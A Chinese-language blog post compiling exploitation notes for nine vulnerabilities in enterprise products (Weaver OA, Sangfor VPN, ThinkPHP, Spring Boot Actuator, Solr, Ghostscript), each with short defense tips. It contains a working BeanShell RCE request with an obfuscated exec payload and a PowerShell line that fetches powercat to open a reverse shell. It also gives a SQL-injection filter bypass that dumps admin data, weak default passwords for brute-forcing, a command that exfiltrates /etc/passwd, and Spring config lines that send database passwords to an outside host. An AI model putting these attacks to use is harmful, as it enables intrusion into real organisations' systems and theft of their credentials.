0#前言
大家估计都很期待2020HW后流出的0Day漏洞吧?
话不多说,直接上第一期吧,这里也参照了很多前辈的文章,感谢各位前辈的文章!
本期先放9个漏洞,希望大家喜欢!
1#泛微OA Bsh 远程代码执行漏洞
- 漏洞简介:
泛微e-cology OA系统的Java Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行,漏洞等级严重!
- 影响组件:
- 漏洞指纹:
- Fofa Dork:
- 漏洞分析:
https://www.freebuf.com/vuls/215218.html
https://github.com/beanshell/beanshell
http://beanshell.org/manual/quickstart.html#The_BeanShell_GUI
- 漏洞利用:
Vulnerability-analysis/0917/weaver-oa/CNVD-2019-32204 at master · myzing00/Vulnerability-analysis https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204 POST /weaver/bsh.servlet.BshServlet HTTP/1.1 Host: xxxxxxxx:8088 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 98 Content-Type: application/x-www-form-urlencoded bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
- 利用技巧:
eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir");
2.泛微多数都是windows环境, 反弹shell可以使用pcat
Powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd
- 防护方法:
2.拦截/weaver/bsh.servlet.BshServlet目录的访问
2#泛微OA e-cology SQL注入漏洞
- 漏洞简介:
- 影响组件:
- 漏洞指纹:
ecology
WorkflowCenterTreeData
/mobile/plugin/SyncUserInfo.jsp
- Fofa Dork:
- 漏洞分析:
https://xz.aliyun.com/t/6531
- 漏洞利用:
https://blog.csdn.net/zycdn/article/details/102494037
Tentacle/ecology8_mobile_sql_inject.py at 6e1cecd52b10526c4851a26249339367101b3ca2 · orleven/Tentacle
https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py
应用安全 – 软件漏洞 – 泛微OA漏洞汇总 – AdreamWillB – 博客园
https://www.cnblogs.com/AtesetEnginner/p/11558469.html
/mobile/plugin/SyncUserInfo.jsp 这个也是有问题的, 但由于没有公开的分析报告, 漏洞相对简单, 这里不过多描述
- 利用技巧:
2.泛微的补丁中间改过一次过滤策略, 打完所有补丁的话, 注入就很难了
3.这里可以绕过的原因是泛微某个过滤器初始化错误,当长度超过xssMaxLength=500的时候就不进入安全检测,修复以后是xssMaxLength=1000000,所以随便你填充%0a%0d还是空格都可以绕过注入检测
4.泛微后端数据库版本存在差异,但是可以通用检测。已知泛微OA E8存在2个版本的数据库, 一个是mssql, 一个是oracle, 且新旧版本泛微的sql过滤方法并不一致所以这里筛选出一个相对通用的检测手法(下面代码是python的" "*800 800个空格)
"-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'"
老版本可以在关键字后面加 /**/ 来绕过sql检测,而新版本可以通过加入大量空格/换行来绕过SQL检测mssql,oracle中都有Hrmresourcemanager , 这是管理员信息表
就Hrmresource表中没有用户, Hrmresourcemanager 表中也一定会存在sysadmin账户,所以进行union select的时候一定会有数据。这里也可以使用 "-1) "+" "*800+ " or/**/ 1=1 and id<(5",这里使用 <5 可以避免信息超过5条, 但是会返回密码等敏感信息, 不建议使用。
- 防护方法:
2.泛微最好不要开放到公网
3.使用WAF拦截攻击
3#深信服VPN远程代码执行
- 漏洞简介:
- 影响组件:
- 漏洞指纹:
- Fofa Dork:
- 漏洞分析:
https://www.cnblogs.com/potatsoSec/p/12326356.html
- 漏洞利用:
- 利用技巧:
2.该版本较低,whomai不存在,可以使用 uname,这里没有空格可dns传出来。
3.去除空格也简单 cat /etc/passwd | tr " \n" "+|"
- 防护方法:
2.升级到最新版
4#深信服 VPN 口令爆破
- 漏洞简介:
- 影响组件:
- 漏洞指纹:
- Fofa Dork:
- 漏洞分析:
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633
- 漏洞利用:
#encoding=utf8 import requests import hashlib import urllib3 urllib3.disable_warnings() import re session = requests.session() def SanForLogin(target, password, username="admin"): # 加密密码的算法是 sha1(password+sid) # 没有公开POC就不写了 SanForLogin("https://xxxxxxxxxxx/", "admin")
- 利用技巧:
爆破也就锁一会IP,夜里丢一边跑着就完事了,弱口令也就那么些admin/123456/Sangfor/Sangfor@123
2.如果爆破出来了管理员密码,管理员后台有好多处命令注入,比如升级工具,这里讲起来应该是正常功能
3.去年传闻还有前台SQL注入,但是没拿到补丁,看一下其他前辈的文章。
深信服SSLVPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell
https://www.uedbox.com/post/31092/
- 防护方法:
2.升级到最新版
5#边界产品(防火墙/网关/路由器/VPN) 相关漏洞
- 漏洞简介:
- 影响组件:
- 漏洞指纹:
- Fofa Dork:
- 漏洞分析:
https://www.it2021.com/security/614.html
渗透测试之各厂商防火墙登录IP、初始密码、技术支持
https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA
- 漏洞利用:
https://www.it2021.com/security/614.html
渗透测试之各厂商防火墙登录IP、初始密码、技术支持
https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA
- 利用技巧:
内网的安全平台就是个漏洞指南哈哈哈哈
- 防护方法:
2.限制来源IP
6#Thinkphp 相关漏洞
- 漏洞简介:
- 影响组件:
- 漏洞指纹:
- Fofa Dork:
- 漏洞分析:
http://zone.secevery.com/article/1165
挖掘暗藏ThinkPHP中的反序列利用链 – 斗象能力中心
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/
ThinkPHP使用不当可能造成敏感信息泄露PHP_Fly鹏程万里-CSDN博客
https://blog.csdn.net/Fly_hps/article/details/81201904
DSMall代码审计 – 安全客,安全资讯平台
https://www.anquanke.com/post/id/203461
- 漏洞利用:
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
Dido1960/thinkphp: thinkphp反序列化漏洞复现及POC编写
https://github.com/Dido1960/thinkphp
whirlwind110/tphack: Thinkphp3/5 Log文件泄漏利用工具
https://github.com/whirlwind110/tphack
- 利用技巧:
2.自从挖了thinphp的反序列化利用链以后, 这类型考题经常出没在CTF中
3.实战中也看到偶尔有可以利用的情况, 运气好可能有惊喜, 刚好有篇新出的文章中使用到了这个漏洞
DSMall代码审计 – 安全客,安全资讯平台
https://www.anquanke.com/post/id/203461
- 防护方法:
2.升级到最新版Thinkphp
3.前置WAF进行防护
7#Spring 系列漏洞
- 漏洞简介:
- 影响组件:
- 漏洞指纹:
- Fofa Dork:
- 漏洞分析:
https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/
Exploiting Spring Boot Actuators | Veracode blog
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Spring Boot Actuators配置不当导致RCE漏洞复现 – JF ‘ blog
https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
- 漏洞利用:
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
https://github.com/artsploit/yaml-payload
- 利用技巧:
/trace /health /loggers /metrics /autoconfig /heapdump /threaddump /env /info /dump /configprops /mappings /auditevents /beans /jolokia /cloudfoundryapplication /hystrix.stream /actuator /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream /monitor /monitor/auditevents /monitor/beans /monitor/health /monitor/conditions /monitor/configprops /monitor/env /monitor/info /monitor/loggers /monitor/heapdump /monitor/threaddump /monitor/metrics /monitor/scheduledtasks /monitor/httptrace /monitor/mappings /monitor/jolokia /monitor/hystrix.stream 这里通过 /env + /refresh 进行rce应该还有其他利用手法,当spring boot reload的时候会进行一些默认操作,里面就有操作空间,很像fastjson反序列化。2.就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok
eureka.client.serviceUrl.defaultZone=http://${somedb.pasword}@127.0.0.1:5000
spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml
3.尤其是使用spring eureka做集群的时候, 通常拿到一台服务器, 就可以传递恶意注册到其他server, 从而感染整个微服务集群eureka 通常是 server 也是 client, 无论对方请求什么都直接返回恶意序列化xml就可以了
- 防护方法:
2.开启Spring Boot Actuators权限校验
3.前置WAF进行防护
8#Solr 系列漏洞
漏洞简介:
Solr 是企业常见的全文搜索服务, 这两年也爆出很多安全漏洞,
影响组件:
Solr
漏洞指纹:
Solr
Fofa Dork:
app="Solr"
漏洞分析:
Apache Solr最新RCE漏洞分析 – FreeBuf互联网安全新媒体平台
https://www.freebuf.com/vuls/218730.html
Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析
https://paper.seebug.org/1009/
漏洞利用:
veracode-research/solr-injection: Apache Solr Injection Research
https://github.com/veracode-research/solr-injection
jas502n/CVE-2019-12409: Apache Solr RCE (ENABLE_REMOTE_JMX_OPTS=”true”)
https://github.com/jas502n/CVE-2019-12409
mogwailabs/mjet: MOGWAI LABS JMX exploitation toolkit
https://github.com/mogwailabs/mjet
利用技巧:
1.看到锤就完事了, 漏洞太多了, 一片一片的
2.遇到mjet连接超时,这是目标服务起返回了错误的stub(内网地址, 常见于docker), 可以使用socat进行流量转发, 后记里面有具体操作
防护方法:
1.升级到最新版
2.不要对外开放敏感端口
9#Ghostscript 上传图片代码执行
- 漏洞简介:
- 影响组件:
- 漏洞指纹:
Fofa Dork:
- 漏洞分析:
https://www.anquanke.com/post/id/157513
- 漏洞利用:
Exploit Database Search https://www.exploit-db.com/search?q=Ghostscript vulhub/ghostscript/CVE-2019-6116 at master · vulhub/vulhub https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116
- 利用技巧:
- 防护方法:
发表评论